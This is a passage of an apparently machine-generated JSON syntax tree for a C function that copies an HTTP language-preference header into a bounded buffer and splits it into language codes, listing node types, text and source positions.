[KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;\n sexpr n;\n int i = 0, il = 0;\n\n while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }\n\n lqsm[i] = (char)0;\n\n for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }\n\n if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }\n }", "parent": 81, "children": [102], "start_point": {"row": 57, "column": 4}, "end_point": {"row": 120, "column": 5}}, {"id": 102, "type": "parenthesized_expression", "text": "(!nexp (lq))", "parent": 101, "children": [103], "start_point": {"row": 57, "column": 7}, "end_point": {"row": 57, "column": 19}}, {"id": 103, "type": "unary_expression", "text": "!nexp (lq)", "parent": 102, "children": [104, 105], "start_point": {"row": 57, "column": 8}, "end_point": {"row": 57, "column": 18}}, {"id": 104, "type": "!", "text": "!", "parent": 103, "children": [], "start_point": {"row": 57, "column": 8}, "end_point": {"row": 57, "column": 9}}, {"id": 105, "type": "call_expression", "text": "nexp (lq)", "parent": 103, "children": [106, 107], "start_point": {"row": 57, "column": 9}, "end_point": {"row": 57, "column": 18}}, {"id": 106, "type": "identifier", "text": "nexp", "parent": 105, "children": [], "start_point": {"row": 57, "column": 9}, "end_point": {"row": 57, "column": 13}}, {"id": 107, "type": "argument_list", "text": "(lq)", "parent": 105, "children": [108], "start_point": {"row": 57, "column": 14}, "end_point": {"row": 57, "column": 18}}, {"id": 108, "type": "identifier", "text": "lq", "parent": 107, "children": [], "start_point": {"row": 57, "column": 15}, "end_point": {"row": 57, "column": 17}}, {"id": 109, "type": "declaration", "text": "const char *lqs = sx_string (lq);", "parent": 101, "children": [110, 111], "start_point": {"row": 59, "column": 8}, "end_point": {"row": 59, "column": 41}}, {"id": 110, "type": "primitive_type", "text": "char", "parent": 109, "children": [], "start_point": {"row": 59, "column": 14}, "end_point": {"row": 59, "column": 18}}, {"id": 111, "type": "init_declarator", "text": "*lqs = sx_string (lq)", "parent": 109, "children": [112, 115, 116], "start_point": {"row": 59, "column": 19}, "end_point": {"row": 59, "column": 40}}, {"id": 112, "type": "pointer_declarator", "text": "*lqs", "parent": 111, "children": [113, 114], "start_point": {"row": 59, "column": 19}, "end_point": {"row": 59, "column": 23}}, {"id": 113, "type": "*", "text": "*", "parent": 112, "children": [], "start_point": {"row": 59, "column": 19}, "end_point": {"row": 59, "column": 20}}, {"id": 114, "type": "identifier", "text": "lqs", "parent": 112, "children": [], "start_point": {"row": 59, "column": 20}, "end_point": {"row": 59, "column": 23}}, {"id": 115, "type": "=", "text": "=", "parent": 111, "children": [], "start_point": {"row": 59, "column": 24}, "end_point": {"row": 59, "column": 25}}, {"id": 116, "type": "call_expression", "text": "sx_string (lq)", "parent": 111, "children": [117, 118], "start_point": {"row": 59, "column": 26}, "end_point": {"row": 59, "column": 40}}, {"id": 117, "type": "identifier", "text": "sx_string", "parent": 116, "children": [], "start_point": {"row": 59, "column": 26}, "end_point": {"row": 59, "column": 35}}, {"id": 118, "type": "argument_list", "text": "(lq)", "parent": 116, "children": [119], "start_point": {"row": 59, "column": 36}, "end_point": {"row": 59, "column": 40}}, {"id": 119, "type": "identifier", "text": "lq", "parent": 118, "children": [], "start_point": {"row": 59, "column": 37}, "end_point": {"row": 59, "column": 39}}, {"id": 120, "type": "declaration", "text": "char lqsm [KHO_MAX_HEADER_FIELD_LENGTH], semicolon = 0;", "parent": 101, "children": [121, 122, 125], "start_point": {"row": 60, "column": 8}, "end_point": {"row": 60, "column": 63}}, {"id": 121, "type": "primitive_type", "text": "char", "parent": 120, "children": [], "start_point": {"row": 60, "column": 8}, "end_point": {"row": 60, "column": 12}}, {"id": 122, "type": "array_declarator", "text": "lqsm [KHO_MAX_HEADER_FIELD_LENGTH]", "parent": 120, "children": [123, 124], "start_point": {"row": 60, "column": 13}, "end_point": {"row": 60, "column": 47}}, {"id": 123, "type": "identifier", "text": "lqsm", "parent": 122, "children": [], "start_point": {"row": 60, "column": 13}, "end_point": {"row": 60, "column": 17}}, {"id": 124, "type": "identifier", "text": "KHO_MAX_HEADER_FIELD_LENGTH", "parent": 122, "children": [], "start_point": {"row": 60, "column": 19}, "end_point": {"row": 60, "column": 46}}, {"id": 125, "type": "init_declarator", "text": "semicolon = 0", "parent": 120, "children": [126, 127, 128], "start_point": {"row": 60, "column": 49}, "end_point": {"row": 60, "column": 62}}, {"id": 126, "type": "identifier", "text": "semicolon", "parent": 125, "children": [], "start_point": {"row": 60, "column": 49}, "end_point": {"row": 60, "column": 58}}, {"id": 127, "type": "=", "text": "=", "parent": 125, "children": [], "start_point": {"row": 60, "column": 59}, "end_point": {"row": 60, "column": 60}}, {"id": 128, "type": "number_literal", "text": "0", "parent": 125, "children": [], "start_point": {"row": 60, "column": 61}, "end_point": {"row": 60, "column": 62}}, {"id": 129, "type": "declaration", "text": "sexpr n;", "parent": 101, "children": [130, 131], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 16}}, {"id": 130, "type": "type_identifier", "text": "sexpr", "parent": 129, "children": [], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 13}}, {"id": 131, "type": "identifier", "text": "n", "parent": 129, "children": [], "start_point": {"row": 61, "column": 14}, "end_point": {"row": 61, "column": 15}}, {"id": 132, "type": "declaration", "text": "int i = 0, il = 0;", "parent": 101, "children": [133, 134, 138], "start_point": {"row": 62, "column": 8}, "end_point": {"row": 62, "column": 26}}, {"id": 133, "type": "primitive_type", "text": "int", "parent": 132, "children": [], "start_point": {"row": 62, "column": 8}, "end_point": {"row": 62, "column": 11}}, {"id": 134, "type": "init_declarator", "text": "i = 0", "parent": 132, "children": [135, 136, 137], "start_point": {"row": 62, "column": 12}, "end_point": {"row": 62, "column": 17}}, {"id": 135, "type": "identifier", "text": "i", "parent": 134, "children": [], "start_point": {"row": 62, "column": 12}, "end_point": {"row": 62, "column": 13}}, {"id": 136, "type": "=", "text": "=", "parent": 134, "children": [], "start_point": {"row": 62, "column": 14}, "end_point": {"row": 62, "column": 15}}, {"id": 137, "type": "number_literal", "text": "0", "parent": 134, "children": [], "start_point": {"row": 62, "column": 16}, "end_point": {"row": 62, "column": 17}}, {"id": 138, "type": "init_declarator", "text": "il = 0", "parent": 132, "children": [139, 140, 141], "start_point": {"row": 62, "column": 19}, "end_point": {"row": 62, "column": 25}}, {"id": 139, "type": "identifier", "text": "il", "parent": 138, "children": [], "start_point": {"row": 62, "column": 19}, "end_point": {"row": 62, "column": 21}}, {"id": 140, "type": "=", "text": "=", "parent": 138, "children": [], "start_point": {"row": 62, "column": 22}, "end_point": {"row": 62, "column": 23}}, {"id": 141, "type": "number_literal", "text": "0", "parent": 138, "children": [], "start_point": {"row": 62, "column": 24}, "end_point": {"row": 62, "column": 25}}, {"id": 142, "type": "while_statement", "text": "while (lqs[i] != (char)0)\n {\n lqsm[i] = lqs[i];\n if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;\n i++;\n }", "parent": 101, "children": [143], "start_point": {"row": 64, "column": 8}, "end_point": {"row": 69, "column": 9}}, {"id": 143, "type": "parenthesized_expression", "text": "(lqs[i] != (char)0)", "parent": 142, "children": [144], "start_point": {"row": 64, "column": 14}, "end_point": {"row": 64, "column": 33}}, {"id": 144, "type": "binary_expression", "text": "lqs[i] != (char)0", "parent": 143, "children": [145, 148, 149], "start_point": {"row": 64, "column": 15}, "end_point": {"row": 64, "column": 32}}, {"id": 145, "type": "subscript_expression", "text": "lqs[i]", "parent": 144, "children": [146, 147], "start_point": {"row": 64, "column": 15}, "end_point": {"row": 64, "column": 21}}, {"id": 146, "type": "identifier", "text": "lqs", "parent": 145, "children": [], "start_point": {"row": 64, "column": 15}, "end_point": {"row": 64, "column": 18}}, {"id": 147, "type": "identifier", "text": "i", "parent": 145, "children": [], "start_point": {"row": 64, "column": 19}, "end_point": {"row": 64, "column": 20}}, {"id": 148, "type": "!=", "text": "!=", "parent": 144, "children": [], "start_point": {"row": 64, "column": 22}, "end_point": {"row": 64, "column": 24}}, {"id": 149, "type": "cast_expression", "text": "(char)0", "parent": 144, "children": [150, 152], "start_point": {"row": 64, "column": 25}, "end_point": {"row": 64, "column": 32}}, {"id": 150, "type": "type_descriptor", "text": "char", "parent": 149, "children": [151], "start_point": {"row": 64, "column": 26}, "end_point": {"row": 64, "column": 30}}, {"id": 151, "type": "primitive_type", "text": "char", "parent": 150, "children": [], "start_point": {"row": 64, "column": 26}, "end_point": {"row": 64, "column": 30}}, {"id": 152, "type": "number_literal", "text": "0", "parent": 149, "children": [], "start_point": {"row": 64, "column": 31}, "end_point": {"row": 64, "column": 32}}, {"id": 153, "type": "assignment_expression", "text": "lqsm[i] = lqs[i]", "parent": 142, "children": [154, 157, 158], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 28}}, {"id": 154, "type": "subscript_expression", "text": "lqsm[i]", "parent": 153, "children": [155, 156], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 19}}, {"id": 155, "type": "identifier", "text": "lqsm", "parent": 154, "children": [], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 16}}, {"id": 156, "type": "identifier", "text": "i", "parent": 154, "children": [], "start_point": {"row": 66, "column": 17}, "end_point": {"row": 66, "column": 18}}, {"id": 157, "type": "=", "text": "=", "parent": 153, "children": [], "start_point": {"row": 66, "column": 20}, "end_point": {"row": 66, "column": 21}}, {"id": 158, "type": "subscript_expression", "text": "lqs[i]", "parent": 153, "children": [159, 160], "start_point": {"row": 66, "column": 22}, "end_point": {"row": 66, "column": 28}}, {"id": 159, "type": "identifier", "text": "lqs", "parent": 158, "children": [], "start_point": {"row": 66, "column": 22}, "end_point": {"row": 66, "column": 25}}, {"id": 160, "type": "identifier", "text": "i", "parent": 158, "children": [], "start_point": {"row": 66, "column": 26}, "end_point": {"row": 66, "column": 27}}, {"id": 161, "type": "if_statement", "text": "if (i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)) break;", "parent": 142, "children": [162, 171], "start_point": {"row": 67, "column": 12}, "end_point": {"row": 67, "column": 62}}, {"id": 162, "type": "parenthesized_expression", "text": "(i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1))", "parent": 161, "children": [163], "start_point": {"row": 67, "column": 15}, "end_point": {"row": 67, "column": 55}}, {"id": 163, "type": "binary_expression", "text": "i >= (KHO_MAX_HEADER_FIELD_LENGTH - 1)", "parent": 162, "children": [164, 165, 166], "start_point": {"row": 67, "column": 16}, "end_point": {"row": 67, "column": 54}}, {"id": 164, "type": "identifier", "text": "i", "parent": 163, "children": [], "start_point": {"row": 67, "column": 16}, "end_point": {"row": 67, "column": 17}}, {"id": 165, "type": ">=", "text": ">=", "parent": 163, "children": [], "start_point": {"row": 67, "column": 18}, "end_point": {"row": 67, "column": 20}}, {"id": 166, "type": "parenthesized_expression", "text": "(KHO_MAX_HEADER_FIELD_LENGTH - 1)", "parent": 163, "children": [167], "start_point": {"row": 67, "column": 21}, "end_point": {"row": 67, "column": 54}}, {"id": 167, "type": "binary_expression", "text": "KHO_MAX_HEADER_FIELD_LENGTH - 1", "parent": 166, "children": [168, 169, 170], "start_point": {"row": 67, "column": 22}, "end_point": {"row": 67, "column": 53}}, {"id": 168, "type": "identifier", "text": "KHO_MAX_HEADER_FIELD_LENGTH", "parent": 167, "children": [], "start_point": {"row": 67, "column": 22}, "end_point": {"row": 67, "column": 49}}, {"id": 169, "type": "-", "text": "-", "parent": 167, "children": [], "start_point": {"row": 67, "column": 50}, "end_point": {"row": 67, "column": 51}}, {"id": 170, "type": "number_literal", "text": "1", "parent": 167, "children": [], "start_point": {"row": 67, "column": 52}, "end_point": {"row": 67, "column": 53}}, {"id": 171, "type": "break_statement", "text": "break;", "parent": 161, "children": [172], "start_point": {"row": 67, "column": 56}, "end_point": {"row": 67, "column": 62}}, {"id": 172, "type": "break", "text": "break", "parent": 171, "children": [], "start_point": {"row": 67, "column": 56}, "end_point": {"row": 67, "column": 61}}, {"id": 173, "type": "update_expression", "text": "i++", "parent": 142, "children": [174, 175], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 68, "column": 15}}, {"id": 174, "type": "identifier", "text": "i", "parent": 173, "children": [], "start_point": {"row": 68, "column": 12}, "end_point": {"row": 68, "column": 13}}, {"id": 175, "type": "++", "text": "++", "parent": 173, "children": [], "start_point": {"row": 68, "column": 13}, "end_point": {"row": 68, "column": 15}}, {"id": 176, "type": "assignment_expression", "text": "lqsm[i] = (char)0", "parent": 101, "children": [177, 180, 181], "start_point": {"row": 71, "column": 8}, "end_point": {"row": 71, "column": 25}}, {"id": 177, "type": "subscript_expression", "text": "lqsm[i]", "parent": 176, "children": [178, 179], "start_point": {"row": 71, "column": 8}, "end_point": {"row": 71, "column": 15}}, {"id": 178, "type": "identifier", "text": "lqsm", "parent": 177, "children": [], "start_point": {"row": 71, "column": 8}, "end_point": {"row": 71, "column": 12}}, {"id": 179, "type": "identifier", "text": "i", "parent": 177, "children": [], "start_point": {"row": 71, "column": 13}, "end_point": {"row": 71, "column": 14}}, {"id": 180, "type": "=", "text": "=", "parent": 176, "children": [], "start_point": {"row": 71, "column": 16}, "end_point": {"row": 71, "column": 17}}, {"id": 181, "type": "cast_expression", "text": "(char)0", "parent": 176, "children": [182, 184], "start_point": {"row": 71, "column": 18}, "end_point": {"row": 71, "column": 25}}, {"id": 182, "type": "type_descriptor", "text": "char", "parent": 181, "children": [183], "start_point": {"row": 71, "column": 19}, "end_point": {"row": 71, "column": 23}}, {"id": 183, "type": "primitive_type", "text": "char", "parent": 182, "children": [], "start_point": {"row": 71, "column": 19}, "end_point": {"row": 71, "column": 23}}, {"id": 184, "type": "number_literal", "text": "0", "parent": 181, "children": [], "start_point": {"row": 71, "column": 24}, "end_point": {"row": 71, "column": 25}}, {"id": 185, "type": "for_statement", "text": "for (i = 0; lqsm[i] != (char)0; i++)\n {\n if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }\n }", "parent": 101, "children": [186, 190, 199], "start_point": {"row": 73, "column": 8}, "end_point": {"row": 114, "column": 9}}, {"id": 186, "type": "assignment_expression", "text": "i = 0", "parent": 185, "children": [187, 188, 189], "start_point": {"row": 73, "column": 13}, "end_point": {"row": 73, "column": 18}}, {"id": 187, "type": "identifier", "text": "i", "parent": 186, "children": [], "start_point": {"row": 73, "column": 13}, "end_point": {"row": 73, "column": 14}}, {"id": 188, "type": "=", "text": "=", "parent": 186, "children": [], "start_point": {"row": 73, "column": 15}, "end_point": {"row": 73, "column": 16}}, {"id": 189, "type": "number_literal", "text": "0", "parent": 186, "children": [], "start_point": {"row": 73, "column": 17}, "end_point": {"row": 73, "column": 18}}, {"id": 190, "type": "binary_expression", "text": "lqsm[i] != (char)0", "parent": 185, "children": [191, 194, 195], "start_point": {"row": 73, "column": 20}, "end_point": {"row": 73, "column": 38}}, {"id": 191, "type": "subscript_expression", "text": "lqsm[i]", "parent": 190, "children": [192, 193], "start_point": {"row": 73, "column": 20}, "end_point": {"row": 73, "column": 27}}, {"id": 192, "type": "identifier", "text": "lqsm", "parent": 191, "children": [], "start_point": {"row": 73, "column": 20}, "end_point": {"row": 73, "column": 24}}, {"id": 193, "type": "identifier", "text": "i", "parent": 191, "children": [], "start_point": {"row": 73, "column": 25}, "end_point": {"row": 73, "column": 26}}, {"id": 194, "type": "!=", "text": "!=", "parent": 190, "children": [], "start_point": {"row": 73, "column": 28}, "end_point": {"row": 73, "column": 30}}, {"id": 195, "type": "cast_expression", "text": "(char)0", "parent": 190, "children": [196, 198], "start_point": {"row": 73, "column": 31}, "end_point": {"row": 73, "column": 38}}, {"id": 196, "type": "type_descriptor", "text": "char", "parent": 195, "children": [197], "start_point": {"row": 73, "column": 32}, "end_point": {"row": 73, "column": 36}}, {"id": 197, "type": "primitive_type", "text": "char", "parent": 196, "children": [], "start_point": {"row": 73, "column": 32}, "end_point": {"row": 73, "column": 36}}, {"id": 198, "type": "number_literal", "text": "0", "parent": 195, "children": [], "start_point": {"row": 73, "column": 37}, "end_point": {"row": 73, "column": 38}}, {"id": 199, "type": "update_expression", "text": "i++", "parent": 185, "children": [200, 201], "start_point": {"row": 73, "column": 40}, "end_point": {"row": 73, "column": 43}}, {"id": 200, "type": "identifier", "text": "i", "parent": 199, "children": [], "start_point": {"row": 73, "column": 40}, "end_point": {"row": 73, "column": 41}}, {"id": 201, "type": "++", "text": "++", "parent": 199, "children": [], "start_point": {"row": 73, "column": 41}, "end_point": {"row": 73, "column": 43}}, {"id": 202, "type": "if_statement", "text": "if ((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))\n {\n lqsm[i] = (char)0;\n\n n = make_string (lqsm + il);\n if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }\n\n lcodes = cons (n, lcodes);\n\n if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }\n\n i++;\n\n while ((lqsm[i] == ' ') || (lqsm[i] == '\\t'))\n {\n i++;\n }\n\n if (lqsm[i] == 0) break;\n\n il = i;\n }", "parent": 185, "children": [203], "start_point": {"row": 75, "column": 12}, "end_point": {"row": 113, "column": 13}}, {"id": 203, "type": "parenthesized_expression", "text": "((lqsm[i] == ',') || (semicolon = (lqsm[i] == ';')))", "parent": 202, "children": [204], "start_point": {"row": 75, "column": 15}, "end_point": {"row": 75, "column": 67}}, {"id": 204, "type": "binary_expression", "text": "(lqsm[i] == ',') || (semicolon = (lqsm[i] == ';'))", "parent": 203, "children": [205, 214, 215], "start_point": {"row": 75, "column": 16}, "end_point": {"row": 75, "column": 66}}, {"id": 205, "type": "parenthesized_expression", "text": "(lqsm[i] == ',')", "parent": 204, "children": [206], "start_point": {"row": 75, "column": 16}, "end_point": {"row": 75, "column": 32}}, {"id": 206, "type": "binary_expression", "text": "lqsm[i] == ','", "parent": 205, "children": [207, 210, 211], "start_point": {"row": 75, "column": 17}, "end_point": {"row": 75, "column": 31}}, {"id": 207, "type": "subscript_expression", "text": "lqsm[i]", "parent": 206, "children": [208, 209], "start_point": {"row": 75, "column": 17}, "end_point": {"row": 75, "column": 24}}, {"id": 208, "type": "identifier", "text": "lqsm", "parent": 207, "children": [], "start_point": {"row": 75, "column": 17}, "end_point": {"row": 75, "column": 21}}, {"id": 209, "type": "identifier", "text": "i", "parent": 207, "children": [], "start_point": {"row": 75, "column": 22}, "end_point": {"row": 75, "column": 23}}, {"id": 210, "type": "==", "text": "==", "parent": 206, "children": [], "start_point": {"row": 75, "column": 25}, "end_point": {"row": 75, "column": 27}}, {"id": 211, "type": "char_literal", "text": "','", "parent": 206, "children": [212, 213], "start_point": {"row": 75, "column": 28}, "end_point": {"row": 75, "column": 31}}, {"id": 212, "type": "'", "text": "'", "parent": 211, "children": [], "start_point": {"row": 75, "column": 28}, "end_point": {"row": 75, "column": 29}}, {"id": 213, "type": "'", "text": "'", "parent": 211, "children": [], "start_point": {"row": 75, "column": 30}, "end_point": {"row": 75, "column": 31}}, {"id": 214, "type": "||", "text": "||", "parent": 204, "children": [], "start_point": {"row": 75, "column": 33}, "end_point": {"row": 75, "column": 35}}, {"id": 215, "type": "parenthesized_expression", "text": "(semicolon = (lqsm[i] == ';'))", "parent": 204, "children": [216], "start_point": {"row": 75, "column": 36}, "end_point": {"row": 75, "column": 66}}, {"id": 216, "type": "assignment_expression", "text": "semicolon = (lqsm[i] == ';')", "parent": 215, "children": [217, 218, 219], "start_point": {"row": 75, "column": 37}, "end_point": {"row": 75, "column": 65}}, {"id": 217, "type": "identifier", "text": "semicolon", "parent": 216, "children": [], "start_point": {"row": 75, "column": 37}, "end_point": {"row": 75, "column": 46}}, {"id": 218, "type": "=", "text": "=", "parent": 216, "children": [], "start_point": {"row": 75, "column": 47}, "end_point": {"row": 75, "column": 48}}, {"id": 219, "type": "parenthesized_expression", "text": "(lqsm[i] == ';')", "parent": 216, "children": [220], "start_point": {"row": 75, "column": 49}, "end_point": {"row": 75, "column": 65}}, {"id": 220, "type": "binary_expression", "text": "lqsm[i] == ';'", "parent": 219, "children": [221, 224, 225], "start_point": {"row": 75, "column": 50}, "end_point": {"row": 75, "column": 64}}, {"id": 221, "type": "subscript_expression", "text": "lqsm[i]", "parent": 220, "children": [222, 223], "start_point": {"row": 75, "column": 50}, "end_point": {"row": 75, "column": 57}}, {"id": 222, "type": "identifier", "text": "lqsm", "parent": 221, "children": [], "start_point": {"row": 75, "column": 50}, "end_point": {"row": 75, "column": 54}}, {"id": 223, "type": "identifier", "text": "i", "parent": 221, "children": [], "start_point": {"row": 75, "column": 55}, "end_point": {"row": 75, "column": 56}}, {"id": 224, "type": "==", "text": "==", "parent": 220, "children": [], "start_point": {"row": 75, "column": 58}, "end_point": {"row": 75, "column": 60}}, {"id": 225, "type": "char_literal", "text": "';'", "parent": 220, "children": [226, 227], "start_point": {"row": 75, "column": 61}, "end_point": {"row": 75, "column": 64}}, {"id": 226, "type": "'", "text": "'", "parent": 225, "children": [], "start_point": {"row": 75, "column": 61}, "end_point": {"row": 75, "column": 62}}, {"id": 227, "type": "'", "text": "'", "parent": 225, "children": [], "start_point": {"row": 75, "column": 63}, "end_point": {"row": 75, "column": 64}}, {"id": 228, "type": "assignment_expression", "text": "lqsm[i] = (char)0", "parent": 202, "children": [229, 232, 233], "start_point": {"row": 77, "column": 16}, "end_point": {"row": 77, "column": 33}}, {"id": 229, "type": "subscript_expression", "text": "lqsm[i]", "parent": 228, "children": [230, 231], "start_point": {"row": 77, "column": 16}, "end_point": {"row": 77, "column": 23}}, {"id": 230, "type": "identifier", "text": "lqsm", "parent": 229, "children": [], "start_point": {"row": 77, "column": 16}, "end_point": {"row": 77, "column": 20}}, {"id": 231, "type": "identifier", "text": "i", "parent": 229, "children": [], "start_point": {"row": 77, "column": 21}, "end_point": {"row": 77, "column": 22}}, {"id": 232, "type": "=", "text": "=", "parent": 228, "children": [], "start_point": {"row": 77, "column": 24}, "end_point": {"row": 77, "column": 25}}, {"id": 233, "type": "cast_expression", "text": "(char)0", "parent": 228, "children": [234, 236], "start_point": {"row": 77, "column": 26}, "end_point": {"row": 77, "column": 33}}, {"id": 234, "type": "type_descriptor", "text": "char", "parent": 233, "children": [235], "start_point": {"row": 77, "column": 27}, "end_point": {"row": 77, "column": 31}}, {"id": 235, "type": "primitive_type", "text": "char", "parent": 234, "children": [], "start_point": {"row": 77, "column": 27}, "end_point": {"row": 77, "column": 31}}, {"id": 236, "type": "number_literal", "text": "0", "parent": 233, "children": [], "start_point": {"row": 77, "column": 32}, "end_point": {"row": 77, "column": 33}}, {"id": 237, "type": "assignment_expression", "text": "n = make_string (lqsm + il)", "parent": 202, "children": [238, 239, 240], "start_point": {"row": 79, "column": 16}, "end_point": {"row": 79, "column": 43}}, {"id": 238, "type": "identifier", "text": "n", "parent": 237, "children": [], "start_point": {"row": 79, "column": 16}, "end_point": {"row": 79, "column": 17}}, {"id": 239, "type": "=", "text": "=", "parent": 237, "children": [], "start_point": {"row": 79, "column": 18}, "end_point": {"row": 79, "column": 19}}, {"id": 240, "type": "call_expression", "text": "make_string (lqsm + il)", "parent": 237, "children": [241, 242], "start_point": {"row": 79, "column": 20}, "end_point": {"row": 79, "column": 43}}, {"id": 241, "type": "identifier", "text": "make_string", "parent": 240, "children": [], "start_point": {"row": 79, "column": 20}, "end_point": {"row": 79, "column": 31}}, {"id": 242, "type": "argument_list", "text": "(lqsm + il)", "parent": 240, "children": [243], "start_point": {"row": 79, "column": 32}, "end_point": {"row": 79, "column": 43}}, {"id": 243, "type": "binary_expression", "text": "lqsm + il", "parent": 242, "children": [244, 245, 246], "start_point": {"row": 79, "column": 33}, "end_point": {"row": 79, "column": 42}}, {"id": 244, "type": "identifier", "text": "lqsm", "parent": 243, "children": [], "start_point": {"row": 79, "column": 33}, "end_point": {"row": 79, "column": 37}}, {"id": 245, "type": "+", "text": "+", "parent": 243, "children": [], "start_point": {"row": 79, "column": 38}, "end_point": {"row": 79, "column": 39}}, {"id": 246, "type": "identifier", "text": "il", "parent": 243, "children": [], "start_point": {"row": 79, "column": 40}, "end_point": {"row": 79, "column": 42}}, {"id": 247, "type": "if_statement", "text": "if (!have_default && truep (equalp (n, default_language)))\n {\n have_default = 1;\n }", "parent": 202, "children": [248], "start_point": {"row": 80, "column": 16}, "end_point": {"row": 83, "column": 17}}, {"id": 248, "type": "parenthesized_expression", "text": "(!have_default && truep (equalp (n, default_language)))", "parent": 247, "children": [249], "start_point": {"row": 80, "column": 19}, "end_point": {"row": 80, "column": 74}}, {"id": 249, "type": "binary_expression", "text": "!have_default && truep (equalp (n, default_language))", "parent": 248, "children": [250, 253, 254], "start_point": {"row": 80, "column": 20}, "end_point": {"row": 80, "column": 73}}, {"id": 250, "type": "unary_expression", "text": "!have_default", "parent": 249, "children": [251, 252], "start_point": {"row": 80, "column": 20}, "end_point": {"row": 80, "column": 33}}, {"id": 251, "type": "!", "text": "!", "parent": 250, "children": [], "start_point": {"row": 80, "column": 20}, "end_point": {"row": 80, "column": 21}}, {"id": 252, "type": "identifier", "text": "have_default", "parent": 250, "children": [], "start_point": {"row": 80, "column": 21}, "end_point": {"row": 80, "column": 33}}, {"id": 253, "type": "&&", "text": "&&", "parent": 249, "children": [], "start_point": {"row": 80, "column": 34}, "end_point": {"row": 80, "column": 36}}, {"id": 254, "type": "call_expression", "text": "truep (equalp (n, default_language))", "parent": 249, "children": [255, 256], "start_point": {"row": 80, "column": 37}, "end_point": {"row": 80, "column": 73}}, {"id": 255, "type": "identifier", "text": "truep", "parent": 254, "children": [], "start_point": {"row": 80, "column": 37}, "end_point": {"row": 80, "column": 42}}, {"id": 256, "type": "argument_list", "text": "(equalp (n, default_language))", "parent": 254, "children": [257], "start_point": {"row": 80, "column": 43}, "end_point": {"row": 80, "column": 73}}, {"id": 257, "type": "call_expression", "text": "equalp (n, default_language)", "parent": 256, "children": [258, 259], "start_point": {"row": 80, "column": 44}, "end_point": {"row": 80, "column": 72}}, {"id": 258, "type": "identifier", "text": "equalp", "parent": 257, "children": [], "start_point": {"row": 80, "column": 44}, "end_point": {"row": 80, "column": 50}}, {"id": 259, "type": "argument_list", "text": "(n, default_language)", "parent": 257, "children": [260, 261], "start_point": {"row": 80, "column": 51}, "end_point": {"row": 80, "column": 72}}, {"id": 260, "type": "identifier", "text": "n", "parent": 259, "children": [], "start_point": {"row": 80, "column": 52}, "end_point": {"row": 80, "column": 53}}, {"id": 261, "type": "identifier", "text": "default_language", "parent": 259, "children": [], "start_point": {"row": 80, "column": 55}, "end_point": {"row": 80, "column": 71}}, {"id": 262, "type": "assignment_expression", "text": "have_default = 1", "parent": 247, "children": [263, 264, 265], "start_point": {"row": 82, "column": 20}, "end_point": {"row": 82, "column": 36}}, {"id": 263, "type": "identifier", "text": "have_default", "parent": 262, "children": [], "start_point": {"row": 82, "column": 20}, "end_point": {"row": 82, "column": 32}}, {"id": 264, "type": "=", "text": "=", "parent": 262, "children": [], "start_point": {"row": 82, "column": 33}, "end_point": {"row": 82, "column": 34}}, {"id": 265, "type": "number_literal", "text": "1", "parent": 262, "children": [], "start_point": {"row": 82, "column": 35}, "end_point": {"row": 82, "column": 36}}, {"id": 266, "type": "assignment_expression", "text": "lcodes = cons (n, lcodes)", "parent": 202, "children": [267, 268, 269], "start_point": {"row": 85, "column": 16}, "end_point": {"row": 85, "column": 41}}, {"id": 267, "type": "identifier", "text": "lcodes", "parent": 266, "children": [], "start_point": {"row": 85, "column": 16}, "end_point": {"row": 85, "column": 22}}, {"id": 268, "type": "=", "text": "=", "parent": 266, "children": [], "start_point": {"row": 85, "column": 23}, "end_point": {"row": 85, "column": 24}}, {"id": 269, "type": "call_expression", "text": "cons (n, lcodes)", "parent": 266, "children": [270, 271], "start_point": {"row": 85, "column": 25}, "end_point": {"row": 85, "column": 41}}, {"id": 270, "type": "identifier", "text": "cons", "parent": 269, "children": [], "start_point": {"row": 85, "column": 25}, "end_point": {"row": 85, "column": 29}}, {"id": 271, "type": "argument_list", "text": "(n, lcodes)", "parent": 269, "children": [272, 273], "start_point": {"row": 85, "column": 30}, "end_point": {"row": 85, "column": 41}}, {"id": 272, "type": "identifier", "text": "n", "parent": 271, "children": [], "start_point": {"row": 85, "column": 31}, "end_point": {"row": 85, "column": 32}}, {"id": 273, "type": "identifier", 